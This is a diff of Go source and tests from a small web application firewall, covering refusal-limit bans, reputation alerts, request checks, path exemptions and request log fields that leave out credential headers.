t.Parallel()
s, _, _ := startForErrorBurst(t, "3", nil)
// Three refusals break nothing, and the app's answers between
// them are not counted.
for i, r := range tc.refusals[:3] {
line := r.send(s, client)
if line.LimitHit != "" || line.Offence != "" {
t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
"want none", i+1, line.LimitHit, line.Offence)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
}
// The fourth is answered as the others were, breaks the error
// burst, and bans the client.
line := tc.refusals[3].send(s, client)
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals "+
"and limit", line.LimitHit, line.Offence)
}
s.get(client, http.StatusForbidden, tc.nextAction)
})
}
}
func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
t.Parallel()
s, _, _ := startForErrorBurst(t, "1", nil)
const ruleFigures = `{"rule_id": "blocked", "rule_action": "block"}`
line := blockRule.send(s, client)
wantHeuristic(t, line, "rule_files", ruleFigures)
wantAfterAnswerHeuristic(t, line, "", "null")
// The second refusal is the request refusal_limit bans for, and the line
// names both.
line = blockRule.send(s, client)
wantHeuristic(t, line, "rule_files", ruleFigures)
wantAfterAnswerHeuristic(t, line, "refusal_limit",
`{"window": "minute", "count": 2, "limit": 1}`)
}
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
t.Parallel()
s, clk, server := startForErrorBurst(t, "2", nil)
start := clk.Now()
blockRule.send(s, client)
blockRule.send(s, client)
line := blockRule.send(s, client)
expires := start.Add(time.Hour)
if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: expires,
Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 2",
Notes: bans.Notes{
Kind: ratelimit.KindRefusals,
Limit: 2,
Window: minute,
Count: 3,
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: blockedPath,
Status: http.StatusForbidden,
UserAgent: userAgent,
},
Requests: 3,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
wantOffences := ratelimit.Offences{Limit: 1, BlockedByBlockRule: 3}
if offences := historyOf(t, server, client).Offences; offences != wantOffences {
t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
}
metrics := s.scrape()
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
`kind="refusals",window="minute"}`, 1)
wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
wantMetric(t, metrics,
`sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 3)
wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
}
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
errorBurstThreshold: "2",
rulesDir: writeRules(t, testRules),
tagLimitPercent: countryTagDEHalf,
})
// Half of the threshold would be one, which the second refusal is over.
for range 2 {
line := blockRule.send(s, fromDE)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
blockRule.send(s, fromDE)
got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
}
}
func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
t.Parallel()
statuses := map[string]int{
"/missing": http.StatusNotFound,
"/private": http.StatusUnauthorized,
"/forbidden": http.StatusForbidden,
}
s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(statuses[r.URL.Path])
}, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
for range 2 {
for path, status := range statuses {
s.request(client, path, status, requestlog.ActionForward)
}
}
// The first refusal is one, not over the threshold.
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
// No ban was made, nor its alert raised.
s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
wantAlerts(t, queue)
}
func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
threshold string
// broken is whether the 31st refusal breaks the error burst.
broken bool
}{
{"", true},
{off, false},
} {
t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
t.Parallel()
env := map[string]string{rulesDir: writeRules(t, testRules)}
if tc.threshold != "" {
env[errorBurstThreshold] = tc.threshold
}
s, _, _ := startWithClock(t, "", env)
var line logLine
for range 31 {
line = blockRule.send(s, client)
}
broken := line.LimitHit == requestlog.LimitHitMinuteRefusals
if broken != tc.broken {
t.Errorf("the 31st refusal broke the error burst: %t, want %t",
broken, tc.broken)
}
})
}
}
func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.60" // in SWW_ALLOW_NETS
exempt = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
)
s, _, _ := startForErrorBurst(t, "1", map[string]string{
allowNets: allowed, rateLimitExemptNets: exempt,
})
// A client in SWW_ALLOW_NETS is not refused, and so not counted.
for range 3 {
s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
}
// One the rate limits do not apply to is.
blockRule.send(s, exempt)
line := blockRule.send(s, exempt)
if line.LimitHit != requestlog.LimitHitMinuteRefusals {
t.Errorf("log line has limit_hit %q, want minute_refusals", line.LimitHit)
}
s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
}
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
t.Parallel()
s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
blockRule.send(s, client)
blockRule.send(s, client)
// Within the same minute, once the ban has ended, the next refusal is
// the first again.
clk.advance(time.Second)
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe,
errorBurstThreshold: "1",
rulesDir: writeRules(t, testRules),
})
start := clk.Now()
held := bans.Ban{
Netblock: netip.MustParsePrefix(otherClient + "/32"),
Start: start,
Expires: start.Add(time.Hour),
Cause: bans.CauseAdmin,
}
server.Ledger.Load([]bans.Ban{held})
// Under a ban, enforce mode would have refused these before the rule, so
// they are not counted.
for range 2 {
line := s.request(otherClient, blockedPath, http.StatusOK,
requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
// The block rule's refusal, which enforce mode would have answered 403,
// is the second of the client's, and would have banned it.
s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule)
if line.LimitHit != requestlog.LimitHitMinuteRefusals || line.BanExpires != "" {
t.Errorf("log line has limit_hit %q and ban_expires %q, want minute_refusals "+
"and none", line.LimitHit, line.BanExpires)
}
if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
t.Errorf("bans %+v, want only the one held", got)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 {
t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
}
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
notes.Request.Status != http.StatusForbidden {
t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
notes)
}
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 1", Notes: notes,
}, requestlog.FormatTime(start.Add(time.Hour)))
alert.Detail["mode"] = observe
wantAlerts(t, queue, alert)
}
internal/discriminator/reputation.go
-48
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@@ -1,48 +0,0 @@
package discriminator
// What the reputation heuristics share: blocklists, crowdsec, dnsbl and
// abuseipdb.
import (
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
)
// deny is the SWW_BLOCKLIST_ACTION and the SWW_REPUTATION_ACTION that
// refuses the requests of a client a source lists.
const deny = "deny"
// noteListed notes each of sources, the URLs of the blocklists or the
// DNSBL zones, their keys masked, that list the client, as noteHit does,
// with reason.
func (rq *request) noteListed(sources []string, reason string) {
for _, source := range sources {
rq.noteHit(bans.ReputationHit{Source: source}, reason)
}
}
// noteHit adds hit's source, which lists the client, to the log line's
// reputation, and hit to the notes of a ban the request makes, counts the
// source in the metrics, and raises a reputation_hit alert with reason,
// whose detail gives hit's source and score.
func (rq *request) noteHit(hit bans.ReputationHit, reason string) {
detail := map[string]any{"source": hit.Source}
if hit.Score != nil {
detail["score"] = *hit.Score
}
rq.line.Reputation = append(rq.line.Reputation, hit.Source)
rq.reputation = append(rq.reputation, hit)
rq.h.metrics.ReputationHit(hit.Source)
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventReputationHit,
Host: rq.site,
Client: rq.client,
Netblock: rq.h.clientGroup(rq.client),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: reason,
Detail: detail,
})
}
internal/discriminator/reputation_test.go
-1144
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File diff suppressed because it is too large. Load diff
internal/discriminator/request.go
-410
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@@ -1,410 +0,0 @@
package discriminator
import (
"context"
"net/http"
"net/netip"
"slices"
"strings"
"time"
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// refusal is discriminator refusing a request: the status the visitor is to get, 0
// to close its connection without an answer, and the action the log line names.
type refusal struct {
status int
action string
}
// decision is what the checks note of a request: its log line, and what
// counting the request needs once it has ended. discriminator keeps a copy of it
// until the request's report comes. It holds no credentials, since the log line
// never does, and neither the request's objects nor their bodies.
type decision struct {
line requestlog.Line
client netip.Addr
// requestURI is the path with the query, as a ban's notes keep it.
requestURI string
// site is, for a question, the host the visitor asked for, which the
// alerts name, since one discriminator serves many sites.
site string
// allowed is true for a question answered with DispositionAllow.
allowed bool
// lookedUp is true once the client's AS number and country have been
// looked up, whether or not an answer was there, and lookupAnswer is
// what the lookup gave then, the zero Answer while GeoJS had given none.
lookedUp bool
lookupAnswer lookup.Answer
// skippedLookupWait is true for a request that did not wait for GeoJS and
// found no answer kept. SWW_UNKNOWN_LIMIT_PERCENT does not apply to it,
// so that not waiting never lowers its client's limits.
skippedLookupWait bool
// counted is true for a request the rate limits counted, whose bytes
// the byte limits count once it has ended. rateLimitPercent and
// bytesLimitPercent are then its client's limit percentages for the rate
// limits and for the byte limits.
counted bool
rateLimitPercent, bytesLimitPercent percentage
// attack is true for a request that matched a ban rule or asked for a
// trap path, blockedByBlockRule for one a block rule refused, and
// blockedByCoreRuleSet for one the Core Rule Set refused, each an offence
// its client's history counts.
attack, blockedByBlockRule, blockedByCoreRuleSet bool
// reputation is the reputation sources that list the client, for the
// notes of a ban the request makes.
reputation []bans.ReputationHit
}
// request is one request to discriminator, from the moment its headers have been
// read to its log line.
type request struct {
decision
h *handler
in *http.Request
out *responseWriter
// blocklisted is true once a blocklist is found to list the client,
// dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
// AbuseIPDB's score of it is a hit.
blocklisted, dnsblListed, abuseIPDBHit bool
start time.Time
// checked is when the checks were done.
checked time.Time
// refused is what the request was refused with, nil if it was not.
refused *refusal
// requestBytes is how many bytes of the request's body have been read.
requestBytes int64
}
// startRequest starts handling r from client, which came through peer: it
// notes the time, counts the request as under way, and starts the log line
// with what is known of the request. isQuestion says whether r is a question,
// whose headers give the request's id and scheme.
func (h *handler) startRequest(
w http.ResponseWriter, r *http.Request, client, peer netip.Addr, isQuestion bool,
) *request {
h.metrics.RequestStarted()
start := time.Now()
forwardedFor := r.Header.Values("X-Forwarded-For")
rq := &request{
decision: decision{
client: client,
requestURI: r.URL.RequestURI(),
line: requestlog.Line{
Time: requestlog.FormatTime(start),
Instance: h.config.InstanceName,
ClientIP: client.String(),
Method: r.Method,
Scheme: scheme(r, isQuestion),
Host: r.Host,
Path: rules.Path(r),
Query: r.URL.RawQuery,
Protocol: r.Proto,
Referer: r.Referer(),
UserAgent: r.UserAgent(),
RequestID: requestID(r, isQuestion),
PeerIP: peer.String(),
ForwardedFor: strings.Join(forwardedFor, ", "),
ClientGroup: h.clientGroup(client).String(),
ContentType: r.Header.Get("Content-Type"),
RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders),
HasAuthorization: len(r.Header.Values("Authorization")) > 0,
HasCookie: len(r.Header.Values("Cookie")) > 0,
Action: requestlog.ActionForward,
},
},
h: h,
in: r,
out: &responseWriter{ResponseWriter: w},
start: start,
}
// A length of -1 is a body whose length was not announced.
if r.ContentLength > 0 {
rq.line.ContentLength = r.ContentLength
}
return rq
}
// addTag adds tag to the request's tags, which stay sorted and hold each tag
// once.
func (rq *request) addTag(tag string) {
at, found := slices.BinarySearch(rq.line.Tags, tag)
if !found {
rq.line.Tags = slices.Insert(rq.line.Tags, at, tag)
}
}
// requestHeaders returns the headers of r that names lists, by name in
// lower case, each with its values joined by ", ". Authorization, Cookie
// and Set-Cookie are never among them, whatever names says.
func requestHeaders(r *http.Request, names []string) map[string]string {
headers := map[string]string{}
for _, name := range names {
switch name {
case "authorization", "cookie", "set-cookie":
continue
}
values := r.Header.Values(name)
if len(values) > 0 {
headers[name] = strings.Join(values, ", ")
}
}
return headers
}
// check is the one place where a request can be refused. It returns nil to let
// the request through. The heuristics of checkClient decide: a request they
// refuse is answered with SWW_BAN_RESPONSE, 403 for a block rule or the Core
// Rule Set, or 431 for the header limits. In observe mode nothing is refused,
// and the log line names what enforce mode would have done. ctx is the
// request's own context.
func (rq *request) check(ctx context.Context) *refusal {
v := rq.checkClient(ctx)
if v == nil {
return nil
}
action := v.action
switch {
case rq.h.config.Observe:
rq.line.WouldAction = action
return nil
case action == requestlog.ActionBlockedByBlockRule ||
action == requestlog.ActionBlockedByCoreRuleSet:
return &refusal{status: http.StatusForbidden, action: action}
case action == requestlog.ActionRequestHeaderTooLarge:
return &refusal{status: http.StatusRequestHeaderFieldsTooLarge, action: action}
default:
return rq.banResponse(action)
}
}
// checkClient runs the heuristics of beforeLookup on the request, then looks
// up the client's AS number and country, then runs those of afterLookup. It
// returns the first verdict, or nil when none gives one. A client in
// SWW_ALLOW_NETS skips them all, and is not looked up. ctx is the request's
// own context.
func (rq *request) checkClient(ctx context.Context) *verdict {
if isInside(rq.client, rq.h.config.AllowNets) {
return nil
}
now := rq.h.now()
v := rq.runHeuristics(ctx, beforeLookup(), now)
if v != nil {
return v
}
rq.lookUp(ctx, now)
// The lookup can wait for GeoJS, so the checks after it read the time
// again: a request counted at the time it arrived could be counted
// after a later one of its client's, which the rate limits would take
// for the clock set back.
return rq.runHeuristics(ctx, afterLookup(), rq.h.now())
}
// pathExempt reports whether r is exempt under prefixes,
// SWW_RATE_LIMIT_EXEMPT_PATHS or SWW_WAF_EXEMPT_PATHS: whether its
// path as sent, the path the app receives, not percent-decoded, starts
// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
// app whose router matches the path as received. A request whose decoded
// path contains .. anywhere or a backslash, or whose path as sent holds an
// encoded slash (%2F or %2f), never is, since an app may act on it as a
// path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
// as one path segment, as Go's router does.
func pathExempt(r *http.Request, prefixes []string) bool {
decoded := r.URL.Path
sent := rules.Path(r)
if strings.Contains(decoded, "..") || strings.Contains(decoded, `\`) ||
strings.Contains(strings.ToLower(sent), "%2f") {
return false
}
return slices.ContainsFunc(prefixes, func(prefix string) bool {
return strings.HasPrefix(sent, prefix)
})
}
// finish counts the request in the metrics and writes its log line.
func (rq *request) finish() {
line := &rq.line
line.Status = rq.out.status
line.ResponseBytes = rq.out.bytes
line.ResponseContentType = rq.out.Header().Get("Content-Type")
line.RequestBytes = rq.requestBytes
switch {
case rq.refused != nil:
line.Action = rq.refused.action
case rq.out.err != nil || rq.in.Context().Err() != nil:
line.Aborted = true
}
duration := time.Since(rq.start)
line.DurationTotalMS = requestlog.Milliseconds(duration)
line.DurationChecksMS = timing(rq.start, rq.checked)
// Counted before the log line is written, so that the metrics count
// every request whose line is out. An allowed request is the exception:
// its report gives the status, bytes and times the metrics count.
if rq.allowed {
rq.h.metrics.RequestAllowed()
} else {
rq.h.metrics.RequestEnded(line, duration)
}
rq.writeLine()
}
// writeLine writes the request's log line.
func (rq *request) writeLine() {
err := requestlog.Write(rq.h.requestLog, &rq.line)
if err != nil {
rq.h.processLog.Error("writing the request log failed", "error", err.Error())
}
}
// timing is the time from start to end in milliseconds, for one of the
// log line's timings, or nil when end is zero: what it times never
// happened.
func timing(start, end time.Time) *float64 {
if end.IsZero() {
return nil
}
return new(requestlog.Milliseconds(end.Sub(start)))
}
// addToHistory adds the request, which has ended, to its client's
// history, and counts its offences in the metrics, and then the lookup's
// answer about the client, as answerAtTheEnd gives it, to that history and
// to the notes of the bans on its netblock: an answer may have come
// before either was there, and one from GeoJS that comes later is added
// when it comes.
func (rq *request) addToHistory() {
request := ratelimit.Request{
Forwarded: rq.allowed,
Refused: rq.refused != nil,
Status: rq.out.status,
RequestBytes: rq.requestBytes,
ResponseBytes: rq.out.bytes,
BrokeLimit: rq.line.Offence == requestlog.OffenceLimit,
Attack: rq.attack,
BlockedByBlockRule: rq.blockedByBlockRule,
BlockedByCoreRuleSet: rq.blockedByCoreRuleSet,
}
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
rq.h.metrics.Offences(request)
answer, found := rq.answerAtTheEnd()
if found {
rq.h.addLookup(answer)
}
}
// countAnomalies counts the request, which has ended, and its bytes, as
// countedBytes gives them, for the anomaly thresholds, whatever was done
// with it: a request refused, one from a client in SWW_ALLOW_NETS or
// SWW_RATE_LIMIT_EXEMPT_NETS, and one for a path in
// SWW_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its
// client's AS number when answerAtTheEnd gives one. With every anomaly
// threshold off, the default, it does nothing.
func (rq *request) countAnomalies() {
if !anomalyThresholdsSet(rq.h.config) {
return
}
answer, _ := rq.answerAtTheEnd()
rq.h.anomalies.Count(rq.h.now(), anomaly.Request{
Host: rq.site,
Client: rq.client,
ClientGroup: rq.h.clientGroup(rq.client),
ASN: answer.ASN,
ASName: answer.ASName,
Country: answer.Country,
Bytes: rq.countedBytes(),
})
}
// anomalyThresholdsSet reports whether any anomaly threshold is set.
func anomalyThresholdsSet(cfg *config.Config) bool {
off := anomaly.Thresholds{}
return cfg.AnomalyClient != off || cfg.AnomalyNet != off || cfg.AnomalyASN != off ||
cfg.AnomalyTotal != off || cfg.AnomalyWatch != off
}
// answerAtTheEnd returns, for a client that was looked up, the lookup's
// answer about it as the request ends, and whether there is one: the
// lookup database's, which was there at once, or the one GeoJS has given
// by then, which a request does not wait for unless a setting needs it.
func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
if !rq.lookedUp {
return lookup.Answer{}, false
}
if rq.h.config.LookupSource == "file" {
return rq.lookupAnswer, true
}
return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
}
// responseWriter is discriminator's answer to a request. It notes the status and
// size for the log line, and the first error writing the answer.
type responseWriter struct {
http.ResponseWriter
// status is the status sent, or zero before one is.
status int
bytes int64
err error
}
// WriteHeader sends the status and headers.
func (w *responseWriter) WriteHeader(status int) {
if w.status == 0 {
w.status = status
}
w.ResponseWriter.WriteHeader(status)
}
// Write sends part of the body.
func (w *responseWriter) Write(p []byte) (int, error) {
if w.status == 0 {
w.status = http.StatusOK
}
n, err := w.ResponseWriter.Write(p)
w.bytes += int64(n)
if w.err == nil {
w.err = err
}
return n, err
}
internal/discriminator/requestlog_test.go
-321
View File
@@ -1,321 +0,0 @@
package discriminator_test
import (
"encoding/json"
"io"
"math"
"net/http"
"reflect"
"slices"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const (
// requestIDHeader carries the request's id.
requestIDHeader = "X-Request-ID"
// instance is the SWW_INSTANCE_NAME a test sets.
instance = "fsn1app1/blog"
// ipv6Client is a client on IPv6, and ipv6Group the netblock the rate
// limits count it as.
ipv6Client = "2001:db8::7"
ipv6Group = "2001:db8::/64"
)
func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
t.Parallel()
received := make(chan string, 2) // the request ids the app received
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
received <- r.Header.Get(requestIDHeader)
_, _ = io.Copy(io.Discard, r.Body)
if r.URL.Path != "/full" {
w.WriteHeader(http.StatusNoContent)
return
}
w.WriteHeader(http.StatusFound)
_, _ = io.WriteString(w, "moved")
})
addr, out := startProxy(t, app.URL, map[string]string{
trustedProxies: trustLocalhost,
rateLimitExemptNets: localhost,
instanceName: instance,
logRequestHeaders: "Accept,x-custom,Authorization,cookie,SET-COOKIE",
})
// This request comes from ipv6Client through a trusted proxy, with a
// body and each header the log line looks at, and is answered with a
// redirect.
conn := dial(t, addr)
send(t, conn, "POST /full HTTP/1.1\r\nHost: "+appHost+"\r\n"+
forwardedFor+": 198.51.100.7, "+ipv6Client+"\r\n"+
forwardedProto+": "+secure+"\r\n"+requestIDHeader+": from-traefik\r\n"+
"Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 3\r\n"+
"Accept: text/html\r\nX-Custom: one\r\nX-Custom: two\r\n"+
"Authorization: Bearer secret-token\r\nCookie: session=secret-cookie\r\n"+
"Set-Cookie: secret-set-cookie\r\n\r\na=b")
wantStatus(t, readResponse(t, conn), http.StatusFound)
// A request's log line can come after its answer: each is waited for
// before the next request, so that the lines are in order.
full := out.endedLines(t, 1)[0]
// This one comes from 127.0.0.1, which the rate limits do not count,
// with a body of 4 bytes whose length it does not announce, so that its
// request_bytes is not its content_length, and no header the log line
// looks at, and is answered with 204 and no header.
conn = dial(t, addr)
send(t, conn, "POST /bare HTTP/1.1\r\nHost: "+appHost+"\r\n"+
"Transfer-Encoding: chunked\r\n\r\n4\r\nbody\r\n0\r\n\r\n")
wantStatus(t, readResponse(t, conn), http.StatusNoContent)
bare := out.endedLines(t, 2)[1]
wantFullLine(t, full)
wantBareLine(t, bare)
for _, line := range []logLine{full, bare} {
got := <-received
if got != line.RequestID {
t.Errorf("the app received request id %q, the log line has %q",
got, line.RequestID)
}
}
if strings.Contains(out.text(), "secret") {
t.Errorf("a value of Authorization, Cookie or Set-Cookie is logged:\n%s",
out.text())
}
}
// wantFullLine checks the log line of the request with every header the
// line looks at. Its timings are checked by TestTimingsAreInOrder.
func wantFullLine(t *testing.T, line logLine) {
t.Helper()
headers := map[string]string{"accept": "text/html", "x-custom": "one, two"}
want := withTimings(line, requestlog.Line{
Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
Time: line.Time, Instance: instance,
ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure,
Host: appHost, Path: "/full", Protocol: protocol,
Status: http.StatusFound, RequestBytes: 3, ResponseBytes: 5,
RequestID: line.RequestID, PeerIP: localhost,
ForwardedFor: "198.51.100.7, " + ipv6Client, ClientGroup: ipv6Group,
ContentType: "application/x-www-form-urlencoded", ContentLength: 3,
RequestHeaders: headers, HasAuthorization: true, HasCookie: true,
Action: requestlog.ActionForward,
// Its 3 bytes in and 5 out, each way counted by default.
Counts: ratelimit.Counts{
Minute: 1, Hour: 1, Day: 1, MinuteBytes: 8, HourBytes: 8, DayBytes: 8,
},
})
if !reflect.DeepEqual(line.Line, want) || line.RequestID == "from-traefik" {
t.Errorf("log line\n%+v\nwant\n%+v, with a new request id", line.Line, want)
}
}
// wantBareLine checks the log line of the request with none of them, and
// that the fields that do not apply to it are left out.
func wantBareLine(t *testing.T, line logLine) {
t.Helper()
want := withTimings(line, requestlog.Line{
Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
Time: line.Time, Instance: instance,
ClientIP: localhost, Method: http.MethodPost, Scheme: plain,
Host: appHost, Path: "/bare", Protocol: protocol,
Status: http.StatusNoContent, RequestBytes: 4, RequestID: line.RequestID,
PeerIP: localhost, ClientGroup: localhost + "/32",
Action: requestlog.ActionForward,
})
if !reflect.DeepEqual(line.Line, want) || line.RequestID == "" {
t.Errorf("log line\n%+v\nwant\n%+v, with a request id", line.Line, want)
}
for _, name := range []string{
"forwarded_for", "content_type", "content_length", "request_headers",
"has_authorization", "has_cookie", "response_content_type", "counts",
} {
_, present := line.fields[name]
if present {
t.Errorf("log line has %s, which does not apply", name)
}
}
}
// withTimings returns want with the timings of line.
func withTimings(line logLine, want requestlog.Line) requestlog.Line {
want.DurationTotalMS = line.DurationTotalMS
want.DurationChecksMS = line.DurationChecksMS
want.DurationUpstreamTotalMS = line.DurationUpstreamTotalMS
return want
}
func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
t.Parallel()
const hasAuthorization, hasCookie = "has_authorization", "has_cookie"
for _, tc := range []struct{ header, field, other string }{
{"Authorization", hasAuthorization, hasCookie},
{"Cookie", hasCookie, hasAuthorization},
} {
t.Run("only "+tc.header, func(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out := startProxy(t, app.URL, nil)
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(tc.header, "secret")
wantStatus(t, do(t, req), http.StatusOK)
line := out.endedLine(t)
_, otherPresent := line.fields[tc.other]
if line.fields[tc.field] != true || otherPresent {
t.Errorf("log line has %s %v and %s %v, want true and none",
tc.field, line.fields[tc.field], tc.other, line.fields[tc.other])
}
})
}
}
func TestTimingsAreInOrder(t *testing.T) {
t.Parallel()
const denied = "192.0.2.50" // in SWW_DENY_NETS
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
// The pause sets the times apart; a hold-up of the test only lengthens
// it.
time.Sleep(time.Millisecond)
_, _ = io.WriteString(w, "done")
})
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, map[string]string{
trustedProxies: trustLocalhost,
denyNets: denied,
})
// Each log line is waited for before the next request, so that the
// lines are in order.
wantStatus(t, get(t, addr, "/"), http.StatusOK)
forwarded := out.endedLines(t, 1)[0]
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedFor, denied)
wantStatus(t, do(t, req), http.StatusForbidden)
refused := out.endedLines(t, 2)[1]
wantStatus(t, get(t, server.Addr, discriminator.HealthPath), http.StatusOK)
health := out.endedLines(t, 3)[2]
// A request passed to the app has every timing; one refused, none of
// the app's; the health check, which runs no check, only the total.
wantTimings(t, forwarded, "duration_total_ms", "duration_checks_ms",
"duration_upstream_total_ms")
wantTimings(t, refused, "duration_total_ms", "duration_checks_ms")
wantTimings(t, health, "duration_total_ms")
if t.Failed() {
return
}
// In whole microseconds, as they are logged, so that the sum below is
// exact.
total := microseconds(forwarded.DurationTotalMS)
checks := microseconds(*forwarded.DurationChecksMS)
upstream := microseconds(*forwarded.DurationUpstreamTotalMS)
// The checks end before the request is handed to the app.
if checks+upstream > total {
t.Errorf("timings in microseconds: total %d, checks %d, upstream total %d",
total, checks, upstream)
}
if *refused.DurationChecksMS > refused.DurationTotalMS {
t.Errorf("refused request's checks took %v of %v milliseconds",
*refused.DurationChecksMS, refused.DurationTotalMS)
}
}
// wantTimings checks that the timings named are the only ones line has.
func wantTimings(t *testing.T, line logLine, want ...string) {
t.Helper()
var got []string
for name := range line.fields {
if strings.HasPrefix(name, "duration_") {
got = append(got, name)
}
}
slices.Sort(got)
slices.Sort(want)
if !slices.Equal(got, want) {
t.Errorf("log line of %s has timings %v, want %v", line.Path, got, want)
}
}
// wantHeuristic checks that line names heuristic as the one that refused the
// request, with figures, a JSON object. A heuristic of "" with figures "null" is
// a line that names none.
func wantHeuristic(t *testing.T, line logLine, heuristic, figures string) {
t.Helper()
if line.Heuristic != heuristic ||
!reflect.DeepEqual(line.HeuristicFigures, decodeFigures(t, figures)) {
t.Errorf("log line has heuristic %q with heuristic_figures %v, want %q with %s",
line.Heuristic, line.HeuristicFigures, heuristic, figures)
}
}
// wantAfterAnswerHeuristic checks after_answer_heuristic and
// after_answer_heuristic_figures as wantHeuristic checks heuristic and
// heuristic_figures.
func wantAfterAnswerHeuristic(t *testing.T, line logLine, heuristic, figures string) {
t.Helper()
if line.AfterAnswerHeuristic != heuristic ||
!reflect.DeepEqual(line.AfterAnswerHeuristicFigures, decodeFigures(t, figures)) {
t.Errorf("log line has after_answer_heuristic %q with "+
"after_answer_heuristic_figures %v, want %q with %s",
line.AfterAnswerHeuristic, line.AfterAnswerHeuristicFigures, heuristic, figures)
}
}
// decodeFigures decodes figures, a JSON object of a heuristic's figures, as
// the log line's figures are decoded.
